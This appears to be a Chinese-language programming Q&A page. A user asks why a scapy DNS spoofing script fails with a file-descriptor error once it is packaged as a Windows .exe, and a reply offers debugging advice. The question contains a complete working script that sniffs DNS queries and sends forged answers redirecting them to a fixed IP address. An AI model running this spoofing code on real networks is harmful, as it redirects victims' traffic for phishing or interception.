2014-06-24 48 views
1

我在Windows XP中使用python 2.7和scapy-2.2.0。 我正在嘗試DNS欺騙,它在python中運行良好。但是當我對.exe執行並執行它時,出現此錯誤scapy OSError:[Errno 9]錯誤的文件描述符

Traceback (most recent call last): 
File "dns_spoof.py", line 17, in <module> 
File "scapy\arch\windows\__init__.pyc", line 523, in sniff 
File "dns_spoof.py", line 15, in dns_spoof 
File "scapy\sendrecv.pyc", line 251, in send 
File "scapy\sendrecv.pyc", line 237, in __gen_send 
OSError: [Errno 9] Bad file descriptor 

我該如何解決?請幫忙。

這是源代碼。

import logging 
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 
try: 
    from scapy.all import * 
except: 
    from scapy import * 
def dns_spoof(pkt): 
    redirect_to = '172.16.22.91' 
    if pkt.haslayer(DNSQR): # DNS question record 
     spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ 
         UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ 
         DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \ 
         an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=redirect_to)) 
     send(spoofed_pkt) 
     print 'Sent:', spoofed_pkt.summary() 
sniff(filter='udp port 53', iface='eth0', store=0, prn=dns_spoof) 

回答

0

它看起來像一個錯誤的文件描述符(句柄)正在使用。例如。作爲stdout(管道)打開的東西用作套接字。

如果我理解正確,相同的程序從源工作,失敗時滾到一個exe文件。我對嗎?

如果你在linux上運行它,你會使用strace來找出哪個。

windows上的等價工具是Process MonitorLogger.exe

+1

謝謝,我解決了它。它是源代碼中的字符問題('\')。 – user3769936

相關問題